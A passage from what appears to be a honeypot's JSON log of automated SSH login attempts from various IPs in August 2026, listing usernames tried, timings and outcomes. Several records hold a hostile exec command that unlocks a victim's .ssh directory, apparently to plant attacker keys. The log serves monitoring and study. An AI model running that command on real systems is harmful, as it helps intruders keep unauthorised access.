  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca69c310-1c05-4441-beb4-139d325da2cf",
  "name": "cheerful-pewter-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.152.148.27",
  "src_port": 47180,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:10:21.400281+00:00",
  "ended_at": "2026-08-21T22:10:23.133047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "185cc78d-be0c-4ba5-b49a-29b27436dd81",
  "name": "crimson-hazel-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "49.207.247.60",
  "src_port": 7616,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:09:55.166915+00:00",
  "ended_at": "2026-08-21T22:09:56.267331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0151d79d-5be9-4111-a37f-155c0db4d12a",
  "name": "bashful-hushed-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.152.148.27",
  "src_port": 60722,
  "username": "http",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:03:54.648440+00:00",
  "ended_at": "2026-08-21T22:03:56.749179+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f8ed5aa9-1225-4467-ae58-7464b78274b1",
  "name": "gleaming-wandering-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "49.207.247.60",
  "src_port": 8700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:02:30.731560+00:00",
  "ended_at": "2026-08-21T22:02:32.347066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc026bcb-8f37-418f-a853-ad13d79e6f45",
  "name": "slender-northern-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.230.18.133",
  "src_port": 57384,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T18:12:23.831896+00:00",
  "ended_at": "2026-08-21T18:12:23.919344+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3758
 },
 {
  "id": "a0d2f1b2-6ba6-45fb-84de-6b3aba8f772b",
  "name": "coastal-steady-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.230.18.133",
  "src_port": 56616,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T18:12:09.298766+00:00",
  "ended_at": "2026-08-21T18:12:09.561949+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79b4673c-ccfa-4cb9-b3ca-67c263469d33",
  "name": "foggy-vernal-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.230.18.133",
  "src_port": 57390,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T18:11:58.259989+00:00",
  "ended_at": "2026-08-21T18:11:59.667874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "593be295-c06b-479d-9827-5a6c442d3a02",
  "name": "silent-quaint-guanaco",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.230.18.133",
  "src_port": 57388,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T18:11:56.901139+00:00",
  "ended_at": "2026-08-21T18:11:57.646822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f77c410c-b5a3-4898-8c38-fe80671ed997",
  "name": "whispering-shifting-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.230.18.133",
  "src_port": 41310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T18:09:56.592692+00:00",
  "ended_at": "2026-08-21T18:09:57.204789+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e58dee2-1663-4011-b120-b1cfeaa0c90a",
  "name": "snowy-buoyant-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.230.18.133",
  "src_port": 44476,
  "username": "webadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T18:03:56.140908+00:00",
  "ended_at": "2026-08-21T18:03:57.462451+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "085553b7-74c2-4a2d-9c6e-99eaa2ee2e06",
  "name": "clever-wistful-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "143.202.162.212",
  "src_port": 35234,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T17:00:24.227469+00:00",
  "ended_at": "2026-08-21T17:00:24.302398+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3554
 },
 {
  "id": "24c5469e-d45a-46ba-a8b8-3c7f7b360deb",
  "name": "frank-jaunty-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "143.202.162.212",
  "src_port": 53134,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T17:00:09.812577+00:00",
  "ended_at": "2026-08-21T17:00:10.123150+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3361e830-8130-45f5-bd5e-e51360918ef3",
  "name": "placid-umber-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "143.202.162.212",
  "src_port": 57918,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T17:00:00.048862+00:00",
  "ended_at": "2026-08-21T17:00:01.838409+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94e29b91-f019-4d15-940a-042a4d17e329",
  "name": "smoky-primal-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "143.202.162.212",
  "src_port": 57906,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T16:59:58.009000+00:00",
  "ended_at": "2026-08-21T16:59:59.532745+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97e518b8-07da-4e2b-a13d-881952ef9cad",
  "name": "courtly-shifting-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "143.202.162.212",
  "src_port": 46366,
  "username": "liferay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T16:57:27.802659+00:00",
  "ended_at": "2026-08-21T16:57:28.532916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0da1c8be-1714-4888-b242-0dcaf377c3e3",
  "name": "quaint-shaded-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "143.202.162.212",
  "src_port": 38128,
  "username": "toor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T16:54:18.537878+00:00",
  "ended_at": "2026-08-21T16:54:20.496779+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b29bc095-7170-40d7-aaf1-f537ef951734",
  "name": "frugal-leafy-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.173.200.62",
  "src_port": 44638,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 71,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T10:41:08.573334+00:00",
  "ended_at": "2026-08-21T10:41:08.615394+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4079
 },
 {
  "id": "8220466c-2d6c-4762-96f8-87d1b9af462a",
  "name": "bashful-austere-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.173.200.62",
  "src_port": 51330,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T10:40:54.667655+00:00",
  "ended_at": "2026-08-21T10:40:54.990588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8505d117-e1a6-4554-8fcf-c96c67bbbcf9",
  "name": "creaky-loyal-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.173.200.62",
  "src_port": 44642,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T10:40:39.687807+00:00",
  "ended_at": "2026-08-21T10:40:41.259098+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1255821b-c7c6-4f95-9c06-cade8b6bc1d3",
  "name": "brazen-stormy-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.173.200.62",
  "src_port": 56104,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T10:35:07.107588+00:00",
  "ended_at": "2026-08-21T10:35:08.679827+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90add496-462b-446f-8918-b651864de342",
  "name": "dapper-prairie-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.173.200.62",
  "src_port": 49268,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T10:28:55.111114+00:00",
  "ended_at": "2026-08-21T10:28:56.924781+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dde2d4ff-0ca4-483b-9053-7458166c5e99",
  "name": "lonesome-hazy-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.194.3.128",
  "src_port": 46786,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 696,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T00:21:03.057453+00:00",
  "ended_at": "2026-08-21T00:21:03.277755+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3479
 },
 {
  "id": "769dc669-6cb2-4a81-9c6c-ce4cc03c06ec",
  "name": "golden-bold-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.194.3.128",
  "src_port": 33642,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T00:20:43.436280+00:00",
  "ended_at": "2026-08-21T00:20:43.830225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e34cd6a-f847-4027-8bf8-e2f1cfa14870",
  "name": "seaward-upland-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.194.3.128",
  "src_port": 51550,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T00:20:25.538901+00:00",
  "ended_at": "2026-08-21T00:20:27.516663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ae933c4-0369-4127-803b-d990a2b10dcb",
  "name": "scarlet-tranquil-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.194.3.128",
  "src_port": 51536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T00:20:22.361761+00:00",
  "ended_at": "2026-08-21T00:20:24.125394+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34fc15fc-d165-4913-b232-a1e06fe39f78",
  "name": "lofty-peaty-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.194.3.128",
  "src_port": 58456,
  "username": "bart",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T00:17:53.649289+00:00",
  "ended_at": "2026-08-21T00:17:55.261480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f4df6ec-2b46-49c7-9bf7-3e5214b5d797",
  "name": "lunar-zealous-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.194.3.128",
  "src_port": 55694,
  "username": "vps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T00:15:27.751591+00:00",
  "ended_at": "2026-08-21T00:15:29.767943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97fbdbbe-826c-49d1-bc81-028b47c73ebc",
  "name": "crimson-creaky-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.194.3.128",
  "src_port": 57492,
  "username": "ftp-user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T00:11:38.327952+00:00",
  "ended_at": "2026-08-21T00:11:39.986358+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0ece996b-99fe-4c34-ac39-27e5de43953c",
  "name": "dutiful-noble-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "36.134.96.76",
  "src_port": 25405,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 775,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T22:57:43.606219+00:00",
  "ended_at": "2026-08-20T23:01:43.864121+00:00",
  "ended_reason": "exec complete",
  "commands": 16,
  "transcript_bytes": 2055
 },
 {
  "id": "9704971e-2d92-49dc-b589-1135f62957bb",
  "name": "chilly-sullen-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "36.134.96.76",
  "src_port": 15375,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T22:57:28.363108+00:00",
  "ended_at": "2026-08-20T22:57:30.199715+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "536ab377-3bd4-4bbc-8492-7b7ac1c8b0bd",
  "name": "tranquil-fickle-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "36.134.96.76",
  "src_port": 33850,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T22:57:24.893826+00:00",
  "ended_at": "2026-08-20T22:57:26.809849+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e41046c2-ef88-4361-b16f-e932c58a1a5a",
  "name": "oaken-diligent-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "36.134.96.76",
  "src_port": 29003,
  "username": "saga",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T22:56:45.824407+00:00",
  "ended_at": "2026-08-20T22:56:47.857837+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "565f16e1-db54-472c-b2ee-efd25ea49b0d",
  "name": "rugged-graceful-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "36.134.96.76",
  "src_port": 35335,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T22:44:12.041283+00:00",
  "ended_at": "2026-08-20T22:44:13.497617+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e508a296-609f-4110-8d35-f224d7950cad",
  "name": "knotted-dewy-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "36.134.96.76",
  "src_port": 50796,
  "username": "teste",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T22:32:04.150762+00:00",
  "ended_at": "2026-08-20T22:32:06.241830+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd3dc568-17c5-4e13-afe3-5fce7789988b",
  "name": "weathered-shifting-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "183.91.186.36",
  "src_port": 45114,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 901,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T20:24:34.329664+00:00",
  "ended_at": "2026-08-20T20:24:34.630091+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3988
 },
 {
  "id": "8b762f82-1996-472d-9c40-ced9248cd13e",
  "name": "umber-pewter-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.186.36",
  "src_port": 49794,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T20:24:08.238295+00:00",
  "ended_at": "2026-08-20T20:24:08.731767+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a949243f-9917-40e7-a8f3-3ccbbffb0ae3",
  "name": "dusky-wandering-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.186.36",
  "src_port": 57270,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T20:23:44.930330+00:00",
  "ended_at": "2026-08-20T20:23:46.828686+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dccc16ea-42d0-4aae-a353-ef9e65f7a942",
  "name": "dappled-zealous-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.186.36",
  "src_port": 45128,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T20:23:41.735243+00:00",
  "ended_at": "2026-08-20T20:23:43.137056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00d76501-851e-4595-b641-20c42298eeab",
  "name": "dappled-lofty-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.186.36",
  "src_port": 36974,
  "username": "home",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T20:20:25.901839+00:00",
  "ended_at": "2026-08-20T20:20:27.230349+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2b4e0ea-7a4b-4833-918b-7d1458d26611",
  "name": "upland-fabled-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.186.36",
  "src_port": 58716,
  "username": "kas",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T20:16:54.335343+00:00",
  "ended_at": "2026-08-20T20:16:55.428951+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "693e4c0b-9628-4110-af98-de6e70250ebd",
  "name": "lawful-forlorn-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "69.6.223.142",
  "src_port": 49164,
  "username": "leandro",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 375,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T16:54:18.686099+00:00",
  "ended_at": "2026-08-20T16:54:18.795409+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3916
 },
 {
  "id": "953e8e97-f3e1-4c3a-b57c-5021adc01cd8",
  "name": "opal-gilded-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "69.6.223.142",
  "src_port": 38162,
  "username": "leandro",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T16:54:02.846419+00:00",
  "ended_at": "2026-08-20T16:54:03.198001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b9fb6cb5-1821-4f16-a790-56a3dc7ee603",
  "name": "wooded-dutiful-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "69.6.223.142",
  "src_port": 49172,
  "username": "leandro",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T16:53:51.392157+00:00",
  "ended_at": "2026-08-20T16:53:52.176411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ccc3eb5-889b-4531-bad2-7e8d04001e20",
  "name": "noble-windswept-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "69.6.223.142",
  "src_port": 49170,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T16:53:49.534214+00:00",
  "ended_at": "2026-08-20T16:53:50.644780+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "62f7a6ac-3278-4264-932a-131ea4a82b6e",
  "name": "restless-faded-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "69.6.223.142",
  "src_port": 35216,
  "username": "zmarin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T16:50:51.997148+00:00",
  "ended_at": "2026-08-20T16:50:53.471883+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f093f65d-b9ba-455a-9ba4-32451a8c9d38",
  "name": "chilly-gloomy-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "69.6.223.142",
  "src_port": 60722,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T16:45:13.412671+00:00",
  "ended_at": "2026-08-20T16:45:14.772751+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2655a61-6b67-4f05-b58e-f585ae7defa4",
  "name": "dutiful-jolly-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 44106,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T14:55:35.198828+00:00",
  "ended_at": "2026-08-20T14:59:35.710232+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "a6ecbe6c-b2cd-4ebe-b44d-be80231c92d0",
  "name": "amber-candid-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 44356,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:50:50.248552+00:00",
  "ended_at": "2026-08-20T14:51:47.737962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38861475-249c-4f59-b1bf-177b743477b2",
  "name": "sandy-sleepy-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 43690,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T14:50:47.258534+00:00",
  "ended_at": "2026-08-20T14:54:47.804874+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "3f4ca101-a5b7-427a-ae64-77f612f40cdd",
  "name": "verdant-mossy-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 33608,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T14:42:51.340238+00:00",
